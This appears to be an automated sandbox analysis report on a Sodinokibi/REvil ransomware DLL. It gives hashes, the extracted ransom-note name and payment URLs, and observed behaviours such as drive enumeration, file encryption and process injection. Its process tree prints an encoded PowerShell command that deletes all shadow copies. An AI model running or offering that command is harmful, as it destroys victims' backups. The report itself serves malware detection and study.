Analysis
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max time kernel
94s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
27-09-2024 17:18
Static task
static1
Behavioral task
behavioral1
Sample
89f9499b3426a05ce92301481d038fe4779549c30f38c45556cbdb2558a18944.dll
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
89f9499b3426a05ce92301481d038fe4779549c30f38c45556cbdb2558a18944.dll
Resource
win10v2004-20240802-en
General
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Target
89f9499b3426a05ce92301481d038fe4779549c30f38c45556cbdb2558a18944.dll
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Size
166KB
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MD5
5e133a8e4d10eed0ebaacc568447d8f8
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SHA1
f4ffc63890c46035348819a6eb1d7f9ed8bf84c7
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SHA256
89f9499b3426a05ce92301481d038fe4779549c30f38c45556cbdb2558a18944
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SHA512
f992b586416da3dcac34473164d69508a4146b003dd0ad6ebb0dd70868367511506d5f2f4f4bea1d89b1719f715df3f6bb95aa1ea0bfc9517527a8f96cd00651
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SSDEEP
3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3Q3Ik9:NJ0BXScFyfC3Hd4ygp
Malware Config
Extracted
C:\Users\mu7bji-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/14F8AEB0B11AB460
http://decryptor.cc/14F8AEB0B11AB460
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\D: rundll32.exe File opened (read-only) \??\W: rundll32.exe -
Drops file in Program Files directory 17 IoCs
description ioc Process File opened for modification \??\c:\program files\InstallSearch.xlsm rundll32.exe File opened for modification \??\c:\program files\UnpublishReceive.raw rundll32.exe File opened for modification \??\c:\program files\ResetUnpublish.ttf rundll32.exe File opened for modification \??\c:\program files\SendInstall.ttf rundll32.exe File created \??\c:\program files\mu7bji-readme.txt rundll32.exe File created \??\c:\program files (x86)\mu7bji-readme.txt rundll32.exe File opened for modification \??\c:\program files\BackupComplete.m4a rundll32.exe File opened for modification \??\c:\program files\SkipPush.ods rundll32.exe File opened for modification \??\c:\program files\UnpublishMerge.rle rundll32.exe File opened for modification \??\c:\program files\CompareUninstall.vstx rundll32.exe File opened for modification \??\c:\program files\EnableCompress.dxf rundll32.exe File opened for modification \??\c:\program files\ProtectConnect.mp4 rundll32.exe File opened for modification \??\c:\program files\RestoreShow.pdf rundll32.exe File opened for modification \??\c:\program files\SubmitJoin.wmv rundll32.exe File opened for modification \??\c:\program files\CompleteUpdate.TTS rundll32.exe File opened for modification \??\c:\program files\DebugCheckpoint.au rundll32.exe File opened for modification \??\c:\program files\RequestComplete.mp4v rundll32.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 224 rundll32.exe 224 rundll32.exe 3260 powershell.exe 3260 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 224 rundll32.exe Token: SeDebugPrivilege 3260 powershell.exe Token: SeBackupPrivilege 212 vssvc.exe Token: SeRestorePrivilege 212 vssvc.exe Token: SeAuditPrivilege 212 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2024 wrote to memory of 224 2024 rundll32.exe 82 PID 2024 wrote to memory of 224 2024 rundll32.exe 82 PID 2024 wrote to memory of 224 2024 rundll32.exe 82 PID 224 wrote to memory of 3260 224 rundll32.exe 83 PID 224 wrote to memory of 3260 224 rundll32.exe 83 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\89f9499b3426a05ce92301481d038fe4779549c30f38c45556cbdb2558a18944.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\89f9499b3426a05ce92301481d038fe4779549c30f38c45556cbdb2558a18944.dll,#12⤵
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:224 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3260
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2756
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:212
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
6KB
MD592274364d6339ec1cf15e4f4d9a4c18e
SHA1949ddb295cda33857aed665ed51ab9310656bdd0
SHA256b7cbc282cc11e6ae8697c467ca65dfee343fe8096d37c414536e1de5f441f426
SHA51208811a4b998da9d73c2cbe00fc1f54aa64d68f313a43c1b30a59aa2bbfeb3427d113c9f6bd0345e5d7b9be8ff5ef7d1bbe916b021e5fd5c2fffaff21b14970fb